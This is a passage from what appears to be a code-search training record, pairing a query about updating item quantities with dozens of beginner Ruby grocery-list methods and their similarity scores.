item_list.split(' ')\r\n list = {}\r\n item_list.each do | item |\r\n list[item] = 1\r\n end\r\n print_list(list)\r\n list\r\nend", "def create_list(items)\n\n\tgrocery_list_hash = {}\n\tlist_array = items.split(\" \")\n\n\tlist_array.each do |item|\n\t\tgrocery_list_hash.store(item.to_sym, 1)\n\tend\n\n\tgrocery_list_hash\nend", "def create_list(list)\n grocery_list = Hash.new\n default_quantity = 1 \n list.split(\" \").each {|x| grocery_list[x] = default_quantity }\n p grocery_list\nend", "def create_list (items)\n item_array = []\n item_array = items.split(' ')\n item_hash = {}\n item_array.each do |list_item|\n item_hash[list_item] = 0\n end\nend", "def create_list(item)\n list = {}\n new_item = item.split(\" \")\n \n new_item.each do |food|\n list[food] = 0\n end\n return list\nend", "def create_list(starting_list)\n shopping_list = {}\n arry = starting_list.split(\" \")\n arry.each { |item_name| shopping_list[item_name] = 1}\n return shopping_list\nend", "def create_list(items)\r\n\r\n\tshopping_list ={}\r\n\r\n\titems.split(\" \").each do |item|\r\n\t\tshopping_list[item] = 1\r\n\tend\r\n\r\n\t# will put a method call\r\n\tprint_list(shopping_list)\r\n\treturn shopping_list\r\n\r\nend", "def create_list(items)\n $list = {}\n items.split(\" \").each do |item|\n $list[item] = 3\n end\n p $list\nend", "def create_list(items)\n $list = {}\n items.split(\" \").each do |item|\n $list[item] = 3\n end\n p $list\nend", "def create_list(items)\r\n\tgrocery_list = {}\r\n\tlist_of_items = items.split(' ')\r\n\r\n\tlist_of_items.each { |item| grocery_list[item] = 1}\r\n\tgrocery_list.each {|item, quantity| puts item, quantity}\r\nend", "def create_list(list, grocery_hash={})\n\tlist_array = list.split(\" \")\n\tquantity = 0\n\tlist_array.each do |item|\n\t\tgrocery_hash[item]=quantity\n\tend\n\tprint_list(grocery_hash)\n\treturn grocery_hash\nend", "def create_list(items = '')\n list = {}\n items.split(' ').each {|item| list[item.to_sym] = 1}\n print_list(list)\n list\nend", "def create_list(string)\n grocery_list = {}\n array = string.split\n array.each do | item |\n grocery_list[\"#{item}\"] = 0\n end\n grocery_list\nend", "def create_list(items)\r\n\r\n\tgrocery_list = {}\r\n\r\n\tlist_items = items.split(\" \")\r\n\r\n\t#best practice...\r\n\tlist_items.each do |item_name|\r\n\t\tgrocery_list = add_item(grocery_list, item_name)\r\n\tend\r\n\r\n\treturn grocery_list\r\nend", "def create_list(item_string)\r\n items = item_string.split\r\n grocery_list = {}\r\n items.each do |item|\r\n grocery_list[item] = 1\r\n end\r\n grocery_list\r\nend", "def create_list(string)\n\ttemp = string.split()\n\tgrocery_list = {}\n\ttemp.each do |item|\n\t\tgrocery_list[item] = 1\n\tend\n\t\n\tp grocery_list\nend", "def create_list(list)\n\tgroceries_list = {}\n\tlist_array = list.split(\",\") # [carrots , 2, beans, 3]\n\tlist_array.each_index do |index|\n\t\tif index.even?\n\t\titem = list_array[index].strip.to_sym \n\t\tquantity = list_array[index + 1].to_i\n\t\tgroceries_list[item] = quantity\n\t\tend\n\t\t# break if list_array.length == index + 1\n\tend\n\treturn groceries_list\nend", "def create_a_list(name, quantity)\n #list = name.split(\", \")\n list_items = {}\n #list.each do |name|\n list_items[name] = quantity\n #end\n p list_items\n return list_items\nend", "def create_list(list_string)\n\titems = list_string.split(\" \")\n\tgrocery_list = {}\n\titems.each do |item|\n\t\tgrocery_list[item.downcase] = 1\n\tend\n\tprint_list(grocery_list)\n\tgrocery_list\nend", "def create_list(string)\n grocery_list = {}\n array = string.split\n\n array.each do | item |\n grocery_list[\"#{item}\"] = 0\n end\n grocery_list\nend", "def create_list(items)\n\n\tgrocery_list = {}\n\n\tlist_items = items.split(\" \")\n\n\t#best practice...\n\tlist_items.each do |item_name|\n\t\tgrocery_list = add_item(grocery_list, item_name)\n\tend\n\n\treturn grocery_list\nend", "def create_items(string)\r\n item_list = {}\r\n string.split(\" \").each { |item| item_list[item] = 1 }\r\n item_list\r\nend", "def create_list(grocery_string)\r\n\tgrocery_list = {}\r\n\titems = grocery_string.split\r\n\titems.each do |item|\r\n\t\tgrocery_list[item] = 1\r\n\tend\r\n\tprint(grocery_list)\r\nend", "def create_list(grocery_string)\n grocery_list = {}\n items = grocery_string.split\n items.each do |item|\n grocery_list[item] = 1\n end\n print(grocery_list)\nend", "def create_list(input)\n items = {}\n input.split(' ').each do |item|\n items[item] = 0\n end\n print_list(items)\nend", "def make_list(item_string = \"\")\r\n grocery_list = {}\r\n=begin\r\n items_array = item_string.split(\" \")\r\n #puts items_array\r\n\r\n items_array.each do |shopping_item|\r\n grocery_list[shopping_item] = 1\r\n end\r\n=end\r\n grocery_list = Hash[item_string.split(\" \").map {|item| [item, 1]}] \r\n #I think this is less readable, but i wanted to find another way to do it\r\n #puts grocery_list\r\n return grocery_list \r\nend", "def create_list(item)\r\n\tlist = {}\r\n\tnew_items = item.split(' ')\r\n\tnew_items.each do |one_item|\r\n\t\tlist[one_item] = 0\r\n\tend\r\n\tlist\r\nend", "def create_list(groceries)\n shopping_list = {}\n grocery_array = groceries.split(\" \")\n grocery_array.each do | item |\n add_item(item, 1, shopping_list)\n end\n print_list(shopping_list)\nend", "def create_list(items)\n\n grocery_list = {}\n list = items.split(\" \")\n list.each do |i|\n grocery_list[i] = 1\n end \n \n grocery_list\n\tend", "def create_list(new_items)\n\tshopping_list = new_items.split(\" \")\n\titems_hash = Hash.new\n\tshopping_list.each do |item| \n\titems_hash[item] = 1\n\tend\n\treturn items_hash\nend", "def create_list(string)\n\tarray = string.split(' ')\n\tlist = { }\n\tarray.each do |item|\n\t\tlist[item] = 1\n\tend\n\tlist\nend", "def create_list(string)\n\tarray = string.split(' ')\n\tlist = { }\n\tarray.each do |item|\n\t\tlist[item] = 1\n\tend\n\tlist\nend", "def shopping_list(items)\n\t# separate the items into an array\n\titems = items.split\n\tputs \"Here are the items you entered.\"\n\tputs items\t\n\t# create the list to add items into.\n\t$list = Hash.new\n\t# enter quantity of each item.\n\titems.each_index do |x|\n\t\tputs \"Enter quantity with no spaces for #{items[x]}.\"\n\t\tquantity = gets.chomp\n\t\t# assign each quantity to the item and add to list\n\t\t$list[:\"#{items[x]}\"] = quantity\n\tend\n\tputs \"Here is your shopping list.\"\n\tputs $list\nend", "def list_create(items)\n hash_items = Hash.new\n default_quantity = 1\n\n # adding a slick way to initialize hash in one line, but not as readable\n # return items.split(' ').product([1]).to_h\n\n items.split(' ').each do |x|\n hash_items[x] = default_quantity\n end\n\n return hash_items\nend", "def create_list(items)\n\tcurrent_items = items.split(' ')\n\tlist = {}\n\tcurrent_items.each do |item|\n\t\tlist[item] = 1 \n\tend\n\tlist \nend", "def add_item(list, item, quantity=1)\r\n# input: item name and optional quantity\r\n# steps: \r\n # Use shopping list as input\r\n # Use the item to be added as 2nd input\r\n # Use the item quantity as a 3rd input (look up whether optional input is possible)\r\n # Add the item and quantity to the shopping list\r\n list[item] = quantity\r\n# output: shopping list with the added item and quantity\r\n printlist(list)\r\nend", "def create_list(list)\n groceries_list = {}\n list_array = list.split(\",\") # [carrots , 2, beans, 3]\n list_array.each_index do |index|\n if index.even?\n item = list_array[index].strip.to_sym \n quantity = list_array[index + 1].to_i\n groceries_list[item] = quantity\n end\n # break if list_array.length == index + 1\n end\n return groceries_list\nend", "def create_list(string)\r\n array=string.split(\" \")\r\n list={}\r\n x=0\r\n array.each do |item|\r\n list[item]=x\r\n x+=1\r\n end\r\n list\r\nend", "def create_grocery_list(str)\n items = str.split(\" \")\n grocery_list = Hash.new\n # Alternative way to store items in a list\n # counter = 0\n # while counter < items.length\n # \tgrocery_list.store(items[counter], 1)\n # \tcounter += 1\n # end\n items.each do |item|\n \tgrocery_list.store(item, 1)\n end\n p grocery_list\nend", "def create_list(string)\n grocery_list = {}\n array = string.split(\" \")\n array.each do |item|\n grocery_list[item] = 1\n end\np grocery_list\nend", "def create_list(grocery_items)\n grocery_list = {}\n grocery_items = grocery_items.split(\" \")\n grocery_items.each do |item| \n grocery_list.store(item, 1)\n end\n puts \"This is your grocery list:\"\n print_list(grocery_list)\n return grocery_list\nend" ]
[ "0.7801356", "0.77147293", "0.7586138", "0.7570771", "0.75119305", "0.7508747", "0.7478245", "0.7356043", "0.72952074", "0.72460777", "0.7242356", "0.7232883", "0.72121054", "0.7211208", "0.72045326", "0.72030073", "0.7180621", "0.7168537", "0.7162864", "0.71596295", "0.71543175", "0.71498156", "0.7146793", "0.7122911", "0.70875275", "0.70773554", "0.7047557", "0.7043525", "0.70339423", "0.6992773", "0.69907176", "0.69903904", "0.698952", "0.6983101", "0.6953476", "0.6948016", "0.6905285", "0.6902958", "0.6896524", "0.68921447", "0.68666965", "0.68589705", "0.6854795", "0.68505234", "0.6807699", "0.6784109", "0.6765217", "0.67552215", "0.6737164", "0.6736863", "0.67231375", "0.6717995", "0.67095464", "0.67079943", "0.6701069", "0.6701053", "0.6700503", "0.6696757", "0.6673584", "0.6658822", "0.6658374", "0.665632", "0.6655555", "0.6655461", "0.6650449", "0.66488796", "0.6644687", "0.6644687", "0.66408825", "0.6640569", "0.66336554", "0.6629631", "0.6625429", "0.6623294", "0.6621103", "0.66161925", "0.6583897", "0.65759027", "0.6575345", "0.65726674", "0.65683705", "0.65623796", "0.6553366", "0.65517795", "0.6549599", "0.6546978", "0.65381634", "0.6534924", "0.6532445", "0.6528291", "0.6528291", "0.65282464", "0.6527831", "0.65239066", "0.65206635", "0.65143025", "0.6513285", "0.6512369", "0.6507425", "0.6507347" ]
0.82552314
0
Method to remove an item from the list input: item and using array as a global variable steps: use delete or delete_if to remove an item from array output: remove the item from the list.
def update_quantity (quantity, item) $list.each do |list_item| if list_item[:item] == item list_item[:quantity] = quantity end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remove_item(list, item)\r\n# input: shopping list and item to be removed\r\n# steps: \r\n # Use shopping list as input\r\n # Use item to be removed as input\r\n # Remove the item from the list if it exists on the list\r\n list.delete(item)\r\n# output: shopping list with item removed\r\n printlist(list)\r\nend", "def remove_item(list, rm_item)\n# steps:\n # use delete method with key (item) as argument\n list.delete(rm_item)\n # return list\n list\nend", "def remove(input_list, item)\n input_list.delete(item)\nend", "def remove_item(item, list)\n\t# steps: delete the item if it exists\n\tlist.delete_if {|list_item| list_item == item.to_sym}\n\t# output: updated list\n\tlist\nend", "def remove_item(item, list)\n list.delete(item)\nend", "def remove_item (list, item)\n list.delete(item)\nend", "def remove_item(list, item)\n list.delete(item)\n list\nend", "def remove_item(list, item)\n list.delete(item)\nend", "def remove_item(list, item_removed)\n list.delete(item_removed)\nend", "def remove_item (list, item)\n list.delete(item)\nend", "def remove_item(list, item)\r\n list.delete(item)\r\n list\r\nend", "def remove_item(list, item)\n list.delete(item)\nend", "def remove_item(list, item)\n list.delete(item)\nend", "def remove_item(list, item)\n list.delete(item)\nend", "def remove_item(list, item)\n list.delete(item)\n list\nend", "def remove_item(list, item)\n list.delete(item)\n list\nend", "def remove_item(list, item)\n list.delete(item)\n list\nend", "def remove_item(list, item)\n list.delete(item)\n list\nend", "def remove_item(item, list)\n\tlist.delete_if do |i|\n\t\ti == item \n\tend\nend", "def remove_item(list,item)\r\n\r\n list.delete(item)\r\n list\r\nend", "def remove_item(list, item)\n list.delete(item)\n list\nend", "def remove_item(list, item)\n list.delete(item)\n list\nend", "def remove_item(item, list)\n list.delete(item)\n return list\nend", "def remove_item (item, list)\n list.delete(item)\n return list\nend", "def remove_item(item_list, item)\r\n item_list.delete(item)\r\n item_list\r\nend", "def remove_item(list, item_remove)\n list.delete(item_remove)\nend", "def remove_item!(list, item)\r\n list.delete(item)\r\n list\r\nend", "def remove_item(list, item)\r\n# input: item to be removed, list\r\n# steps: \r\n # check if item exists\r\n # remove item\r\n list.delete(item)\r\n # print success message of item removed\r\n puts \"#{item.upcase} has been removed to your grocery list!\"\r\n p list\r\n# output: updated list\r\nend", "def remove_item(list, item)\n list.delete(item)\n return list\nend", "def delitem(list, item)\n# input: list and key\n list.delete(item)\n# steps: delete a given key item\nend", "def remove_item(list, item)\n list.delete(item)\n return list\nend", "def remove_item(list, item)\n\tlist.delete(item)\nend", "def remove_item(list,item)\n\tlist.delete(item)\nend", "def remove_item(list, item)\n\tlist.delete(item)\n\tlist\nend", "def remove (list, item)\n\tlist.delete(item)\nend", "def remove_item (item,list)\nlist.delete(item)\nlist\nend", "def remove_an_item(list, item)\n #method to remove item\n list.delete(item)\nend", "def remove_item(olist, item)\n olist.delete(item) \n olist\nend", "def remove_item(new_list, item)\n \n new_list.delete(item)\n \n new_list\nend", "def remove(list, item)\r\n list.delete(item)\r\n list\r\nend", "def remove(list, item)\n\tlist.delete(item)\nend", "def del_item(list, item_to_del)\n list.delete(item_to_del)\nend", "def remove_item(list, item)\r\n\tlist.delete(item)\r\n\treturn list\r\nend", "def remove(list, item)\n\tlist.delete(item)\n\tlist\nend", "def remove_from_list(list, item)\n\tlist.delete(item)\nend", "def remove_item(item, list)\r\n list.delete(item)\r\n p list\r\n list\r\nend", "def remove_item(list, item)\n list.delete(item)\n p list\nend", "def remove_item(list, item)\n list.delete(item)\n p list\nend", "def remove_item(list, item)\n list.delete(item)\n p list\nend", "def remove_item(item)\n index = @list.index(item)\n remove_item_at(index)\n end", "def remove_from_list(item,list)\n list.delete(item)\nend", "def delete_item(list, item)\n list.delete(item)\n list\nend", "def delete_item(list, item)\n list.delete(item)\n list\nend", "def remove_item(list, item)\n # list.delete_if do |grocery_item, qty|\n # grocery_item == item\n # end\n list.delete(item)\n\n list\nend", "def delete_item(list, item)\n list.delete(item)\nend", "def remove_item(list,item)\n\tlist.delete(item)\n\tp list\nend", "def remove_item(my_list, item)\r\n# input: an item (something already in the list)\r\n# steps:\r\n my_list.delete(item)\r\n \r\n my_list\r\n# declare hash\r\n# delete method for item\r\n# output: hash with removed item\r\nend", "def remove_item(list,item)\n list.delete(item)\n p list\nend", "def remove_item(list, food)\n list.delete(food)\nend", "def remove(final_list, item)\r\n final_list.delete(item)\r\n end", "def delete_item(list, item)\n del_list = list.delete(item)\nend", "def delete_item(list, item)\n\tdel_list = list.delete(item)\nend", "def list_remover(list,item) #takes 2 arguments, 1 list and name of an item\n\tlist.delete(item)\t\n\t\nend", "def remove_item(shopping_list, item)\r\n\r\n\tshopping_list.delete(item)\r\n\r\nend", "def delete_item(list,item)\n list.delete(item)\nend", "def delete_item(list,item)\n list.delete(item)\nend", "def remove_item(list, item)\r\n list.delete(item)\r\n p list\r\nend", "def remove(item)\n # TODO\n # - removes first occurence of `item` in list.\n # - uses '==', so beware if expecting eql? or equals? logic instead\n # - shifts element in array to fill in spot\n\n ([email protected]).each do |i|\n if @array[i] == item\n @array[i] = nil\n\n # TODO\n # - consider resizing array if load is under some threshold (maybe 0.25?)\n\n shift_elements\n break\n end\n end\n\n end", "def delete_item(list,item)\n list.delete(item)\n list\nend", "def delete_item(list,item)\n list.delete(item)\n list\nend", "def remove(list,item)\r\n\tlist.delete(item)\r\n\tlist\r\nend", "def remove_item(shopping_list, item)\n shopping_list.delete(item)\nend", "def remove_item_from_list(list,item)\r\n list.delete(item)\r\n print_list(list)\r\nend", "def remove_item(list, item_name)\r\n list.delete(item_name)\r\n list\r\nend", "def delete_item(list,item)\n list.delete(item)\n return list\nend", "def remove_item(list, item_name)\r\n # list.delete_if { |item, amount| item == item_name }\r\n list.delete(item_name)\r\nend", "def delete_item(list, item)\n\tlist.delete(item)\n\tlist\nend", "def remove_items(shopping_list, item)\n shopping_list.delete(item)\nend", "def remove_item(list, item_name)\n list.delete(item_name)\n list\nend", "def remove_from_list(list, item)\n list.delete(item)\n p list\nend", "def delete_item(list,item)\n\tlist.delete(item)\nend", "def remove(list, food_item)\n\tlist.delete(food_item)\n\tlist\nend", "def remove_item(list, item_name)\n list.delete(item_name)\nend", "def remove_item(item,first_list)\n\n first_list.delete(item)\n\nend", "def list_remover(list_input_remover, item_name_remove)\n list_input_remover.delete(item_name_remove)\nend", "def delete_item(list, item)\n\tlist.delete(item)\n\treturn list\nend", "def delete(item, list)\n\tlist.delete(item)\nend", "def remove(item)\r\n loc = location_of(item)\r\n loc.remove(item)\r\n end", "def remove_item(list_items, item_name)\n list_items.delete(item_name)\nend", "def remove_item(list, item_to_be_removed)\n # if list.has_key? item_to_be_removed\n # list.delete(item_to_be_removed)\n # end\n list.delete(item_to_be_removed) if list.has_key? item_to_be_removed\n list\nend", "def remove_item(list, item_to_remove)\n list.reject! { |item, quantity| item == item_to_remove }\n return list\nend", "def remove_item(input_hash, item)\n# input: list, item name, and optional quantity\n# steps: use input item to delete key\n input_hash.delete(item)\n# output: hash data structure of key/value pairs\nreturn input_hash\nend", "def remove_item(new_list, item_name)\r\n new_list.delete(item_name)\r\nend", "def delete_item(current_list, item)\n current_list.delete(item)\n current_list\nend", "def remove_item(list_name,item_to_remove)\n #find all array elements in given list with the given item name and delete them\n list_name.delete_if { |x| x[:item_name] == item_to_remove}\n end", "def remove_item(item)\n # raises WrongListException if item.list != self\n # TODO\n end", "def remove_item(grocery_list, item)\r\n\tgrocery_list.delete(item)\r\n\tgrocery_list\r\nend", "def delete_item(item)\r\n @list.delete(item)\r\n end", "def remove(list, item)\r\n# input: ask what item user wants to remove\r\nif list.include?(item)\r\n\tlist.delete(item)\r\nend \r\np list\r\nend", "def delete_item(unwanted)\r\n @arr.delete(unwanted)\r\n end", "def removeitem(list, item)\n\n list.delete_if { |iterator| iterator[:item] == item }\nend" ]
[ "0.7834404", "0.77775735", "0.7642866", "0.76408964", "0.761684", "0.75751555", "0.7536048", "0.7534931", "0.753271", "0.75189275", "0.7515666", "0.7510993", "0.7510993", "0.75000894", "0.74992365", "0.74992365", "0.74992365", "0.74992365", "0.7493865", "0.74800575", "0.7479537", "0.7479537", "0.74737626", "0.7449496", "0.74439114", "0.74421555", "0.7425911", "0.7411152", "0.7406925", "0.7400438", "0.73835707", "0.73806816", "0.73711604", "0.7357945", "0.7333033", "0.7317919", "0.73145163", "0.72977966", "0.7293528", "0.72931474", "0.7287507", "0.72785985", "0.7253219", "0.7209504", "0.71910155", "0.7181163", "0.71656555", "0.71656555", "0.716559", "0.715992", "0.71502036", "0.7134474", "0.7134474", "0.7133725", "0.7133691", "0.713367", "0.713188", "0.712803", "0.7126915", "0.71246624", "0.7119787", "0.7116826", "0.7115881", "0.7110461", "0.71049094", "0.71049094", "0.7099073", "0.7092813", "0.7080115", "0.7080115", "0.70751953", "0.7054756", "0.7048921", "0.7042038", "0.70392996", "0.70389605", "0.7033033", "0.7029432", "0.7026736", "0.701807", "0.6985772", "0.69697434", "0.6957295", "0.69393003", "0.6930921", "0.69261134", "0.69200927", "0.69099855", "0.68728983", "0.6851753", "0.68399066", "0.6835655", "0.68207586", "0.6817189", "0.67988324", "0.67946625", "0.6781208", "0.6765905", "0.67557055", "0.6750374", "0.6743045" ]
0.0
-1
Method to update the quantity of an item input: item. quantity steps: iterate through the array specify a specific item, then specify the quantity that you want to change it to. output: update the quantity for the item
def print_list $list.each {|list_item| puts "#{list_item[:quantity]} #{list_item[:item]}"} end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update_quantity(item, list, quantity)\n add_item(item, list, quantity)\nend", "def update_item_quantity(hash_of_items, item, quantity)\n hash_of_items[item] = quantity\n hash_of_items\nend", "def update_qty(item_list, item, qty)\r\n item_list[item] = qty\r\n item_list\r\nend", "def update_quantity(list, item, quantity)\n\tadd_to_list(list, item, quantity)\nend", "def update_qty(shopping_list, item, quantity)\r\n\r\n\tadd_item(shopping_list, item, quantity)\r\n\r\nend", "def update_quantity_of_items(list, item, quantity)\n list[item] = quantity\nend", "def update_quantity(list, item, quantity)\n\tlist[item] = quantity\n\tlist\nend", "def update_item(list, item, new_quantity)\n\tlist[item] = new_quantity\n\tlist\nend", "def update_quantity(list, item, quantity)\n #method to update quantity\n #can also add items\n list[item] = quantity\nend", "def update_quantity(list, item_name, quantity)\n\tlist[item_name] = quantity.to_i\n\tlist\nend", "def update_quantity(list,item,item_count)\n\tlist[item] = item_count\nend", "def update_quantity(list, item_name, quantity)\n\tlist.each do |item, qty|\n\t\tif item === item_name\n\t\t\tlist[item] = quantity\n\t\tend\n\tend\nend", "def update_qty(list_items, item_name, new_qty)\n raise ArguementError.new(\"This item does not exist\") unless list_items.include?(item_name)\n list_items[item_name] = item_qty\nend", "def change_quantity(list, item, new_qty)\n list[item] = new_qty\nend", "def update_item_quantity(list, item, quantity)\n list[item] = quantity\n list\nend", "def update_quantity(list, item_name, quantity)\n\tlist[item_name] = quantity\n\tlist\nend", "def update_quantity(list, item_name, quantity)\n\tlist[item_name] = quantity\n\tlist\nend", "def update_quantity(shopping_list, item, quantity)\n shopping_list[item] = quantity\nend", "def update_quantity(list, item, qty)\n list[item] = qty\n list\nend", "def update_quantity(list, item, updated_quantity)\n list[item] = updated_quantity\n list\nend", "def item_quantity(list, item_to_update, quantity)\n list[item_to_update] = quantity \nend", "def update_quantity(list, item_name, qty)\n list[item_name] = qty\nend", "def update_quantity (item, quantity)\n item_hash[item] = quantity\nend", "def update_quantity(list, item, quant)\n list[item] = quant\nend", "def change_quantity(list, item, qty)\n list[item] = qty\n list\nend", "def update_quantity(list, upd_item, new_quantity)\n# steps:\n # reassign key (item) a new value (quantity)\n list[upd_item] = new_quantity\n # return list\n list\nend", "def update_quantity(list, item, quantity)\n\tlist[item] = quantity\n\tp list\nend", "def update_quantity_of_item(list,item,quantity)\r\n add_item_to_list(list,item,quantity)\r\n list\r\nend", "def update_quantity(list, item, quantity)\n list[item] = quantity\nend", "def update_quantity(grocery_list, item, quantity)\r\n add_item(grocery_list, item, quantity)\r\n \r\nend", "def update_quantity(grocery_list, item_to_update, qty)\n grocery_list[item_to_update] = qty\n grocery_list\nend", "def updated_quantity(list, item_name, quantity)\r\n\tlist[item_name] = quantity\r\n\tlist\r\nend", "def update_quantity(groceries_list, item, new_quantity)\n\t# Change value for inputted key to the desired quantity\n\tgroceries_list [item] = new_quantity\n\tgroceries_list\nend", "def update_quantity(list, item_name, new_quantity)\n list[item_name] = new_quantity\nend", "def update_quantity(list, item_name, new_quantity)\n list[item_name] = new_quantity\nend", "def update_quantity(list, item, quantity)\n list[item] = quantity\n list\nend", "def update_quantity(list, item, quantity)\n list[item] = quantity\n list\nend", "def update_quantity(item_name, grocery_list, quantity)\n grocery_list[item_name] = quantity\n grocery_list\n end", "def update_quantity(list, item, quant)\n list[item] = quant\nend", "def update_quanity(list, item, quantity)\r\n# input: list, item and quantity to be updated to\r\n# steps:\r\n # check if item exists\r\n # update quantity\r\n list[item] = quantity\r\n # print success \"your cart has been updated!\"\r\n puts \"The quantity for #{item.upcase} has been updated in your grocery list!\"\r\n p list\r\n# output: updated list with new quantity\r\nend", "def update_quantity (list, item, quantity)\n list[item] = quantity\nend", "def update_quantity (list, item, quantity)\n list[item] = quantity\nend", "def update_item (list,item,quantity)\n\tlist[item] = quantity\nend", "def update_quantity(list, item, quantity)\n list[item] = quantity\nend", "def update (item, quantity)\n @groceries[item]=quantity\n end", "def update_quantity (quantity, item)\n $list.each do |list_item|\n if list_item[:item] == item\n list_item[:quantity] = quantity\n end\n end\nend", "def update_quantity(list, item, quantity)\n list[item] = quantity.to_i\n list\nend", "def update_quantity(item, list, quantity)\n list[item] = quantity\n return list\nend", "def update_item(list, item, quantity)\n\tlist[item] = quantity\n\treturn list\nend", "def update_item(list, item, quantity)\r\n add_item(list, item, quantity)\r\n# input: Shopping list, item to be updated, new quantity\r\n# steps:\r\n # Use shopping list as input\r\n # Use item to be updated as input\r\n # Use new quantity to be updated as input\r\n # Update the quantity of the item on the list\r\n # list[item] = quantity\r\n# output: shopping list with updated quantity\r\n # printlist(list)\r\nend", "def update_quantity(list, item, quantity)\r\n\tlist[item] = quantity\r\n\treturn list\r\nend", "def update(item, quantity, list)\n\t# steps: if the item is in the list\n\tif list.include? item.to_sym\n\t\t# update the quantity\n\t\tlist[item.to_sym] = quantity\n\telse \n\t\tadd_item(item, quantity, list)\n\tend\n\t# output: return the updated list\n\tlist\nend", "def update_item(list,item,quantity)\n list[item] = quantity\nend", "def update_item(list,item,quantity)\n list[item] = quantity\nend", "def update_quantity(list, item_name, quantity)\r\n list[item_name] = quantity\r\nend", "def update_quantity(new_list, item_name, quantity)\r\n \r\n new_list[item_name] = quantity\r\nend", "def update_quantity(item, grocery_list, quantity)\n grocery_list[item] = quantity\n return grocery_list\n end", "def update_quantity(item, grocery_list, quantity)\n grocery_list[item] = quantity\n return grocery_list\n end", "def update_quantity(list_name,item_name_to_adjust,new_quantity)\n#find all array elements in given list with the given item name\n list_name.each do |array_item|\n if array_item[:item_name] == item_name_to_adjust\n #set the quantity to the new specified quantity\n array_item[:quantity] = new_quantity\n end \n end \nend", "def update_quantity(grocery_list, item, quantity)\n grocery_list[item] = quantity.to_i \n grocery_list\nend", "def update(list, item, quantity)\n\tlist[item] = quantity\n\tlist\nend", "def update_quantity(grocery_list, item, quantity)\r\n\tgrocery_list[item] = quantity\r\n\tgrocery_list\r\nend", "def update_quantity(grocery_list, item, quantity)\n grocery_list[item] = quantity\nend", "def update_quantity (grocery, item_name, new_quantity)\n grocery[item_name] = new_quantity\n display_list(grocery)\n end", "def update_quantity(grocery,item_name,new_quantity)\n # input:list, item name, and new_quantity\n # steps: change old value of item_name with the new_quantity\n grocery[item_name] = new_quantity\n # output: display the latest list\n display_list(grocery)\nend", "def release_quantity_of_item(item, quantity)\r\n if self.items.include?(item)\r\n item.quantity -= quantity\r\n end\r\n end", "def update_quantity(list, item, quantity)\nlist[item] = quantity\nlist\nend", "def update_quantity(grocery_list, item, quantity)\n grocery_list[item] = quantity\n grocery_list\nend", "def update_quantity(item, new_quantity, grocery_list)\n grocery_list[item] = new_quantity\nend", "def use_item(item_name:, quantity:)\n total_items_quantity[item_name] -= quantity\n end", "def update_quantity(hash, item, quantity)\n\thash[item] = quantity\n\treturn hash\nend", "def update_item(item, quantity, list)\n\tlist.each do |i, q|\n\t\tif list.has_key?(item)\n\t\t\tlist[item] = quantity\n\t\telse \n\t\t\tputs \"List does not contain that item.\"\n\t\t\tbreak\n\t\tend\n\tend\nend", "def update_qty(grocery_list, item, qty)\n grocery_list[item] = qty\n grocery_list\nend", "def update(items)\n # clear!\n self.items.each do |i|\n number = items[i.id].blank? ? 1 : items[i.id].to_i <= 0 ? 1 : items[i.id]\n number.to_i < 99 ? i.quantity = number.to_i : i.quantity=99\n end\n # items.each { |id, quantity| add_items(id, quantity) }\n end", "def update_quantity(grocery_list, item, new_quantity)\n\tif grocery_list.include?(item.to_sym)\n\t\tgrocery_list[item.to_sym] = new_quantity\n\telse\n\t\tputs \"item name invalid\"\n\tend\nend", "def update_item_quantity(hash, item, quantity)\n hash[item] = quantity\n hash\nend", "def update(list, item, quantity)\n\tlist[item] = quantity\nend", "def update_item_quantity(list, updateitem, new_qty, print=true)\n\t# input: list, item name (string), new quantity (int or string)\n\t# output: updated list\n\n\tmatch_index = find_item(list, updateitem)\n\tif not match_index\n\t\t# alert if not found\n\t\tmsg = \"\\n\\n** WARNING update_item_quantity failure: item \"\n\t\tmsg += \"\\\"#{removeitem}\\\" not found in list. List unchanged. **\"\n\t\treturn list\n\telse\t\t\t\n\t\t# update list\n\t\tlist.delete_at(match_index)\n\t\tlist.insert(match_index, [updateitem.strip.capitalize, new_qty.to_s])\n\t\t# print success message\n\t\tmsg = \"\\n\\nList updated: item '#{updateitem}' quantity \"\n\t\tmsg += \"updated to '#{new_qty}'.\\n\"\n\t\tputs msg\n\t\t# print updated list\n\t\tprint_list(list) if print\n\t\treturn list\n\tend\nend", "def update (list, item, quantity)\n\tlist[item] = quantity\nend", "def update_quan(list, item, quantity)\n list[item] = quantity\nend", "def update(item,quantity,list)\n\tlist[item] = quantity\nend", "def add_or_update_item_qty(shopping_list, item, quantity)\n shopping_list[item] = quantity\nend", "def update_quantity(hash, item, quantity)\n hash[item] = quantity\nend", "def update_item(item,quantity_changed,first_list)\n first_list[item] = quantity_changed\n\nend", "def update_quantity(item, quantity, groceries_list)\n groceries_list[item] = quantity\nend", "def update\n quantity_increase = item_params[:quantity].to_i\n previous_quantity = @item.quantity\n respond_to do |format|\n if @item.update(item_params)\n @item.quantity = previous_quantity + quantity_increase\n @item.save \n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_quantity (item,list, quantity)\n list[item] = quantity\nlist\nend", "def update_item(grocery_list, item, quantity)\n grocery_list[item] = quantity\n grocery_list \nend", "def update_quantity(item, grocery_bag, quantity)\n grocery_bag[item] = quantity\n p grocery_bag\nend", "def update_quantity (grocery_list, item, quantity)\n\tif grocery_list[item] == nil\n\t\tputs \"Item not on list.\"\n\telse\n\t\tadd_item(grocery_list, item, quantity)\n\tend\n\treturn grocery_list\nend", "def change_quantity(list, item, new_quantity)\n list[item] = new_quantity\n p list\nend", "def update_quantity(grocery_list,item,new_quantity)\n # if item on the list\n grocery_list.store(item,new_quantity)\n puts \"When you pick up #{item}, make sure to grab #{new_quantity} instead.\"\nend", "def update_quanity(list, item_name, new_quantity)\n\n\tlist[item_name] = new_quantity\n\tp list\nend", "def update_quantity(item, quantity, hash)\n hash[item] = quantity\n return hash\nend", "def update_quant(current_list, item, quantity)\n current_list[item] = quantity\n current_list\nend", "def update(list, item_name, quantity)\n\tlist[item_name] = quantity\nend", "def update_quantity(name, quantity, list)\n list[name] += quantity\nend", "def update_quantity(list_name, item, value)\r\n# input: list, item name, new quantity\r\n# steps: find item in the hash and change quantity to new quantity\r\n list_name[item] = value\r\n# output: updated hash with new value for item 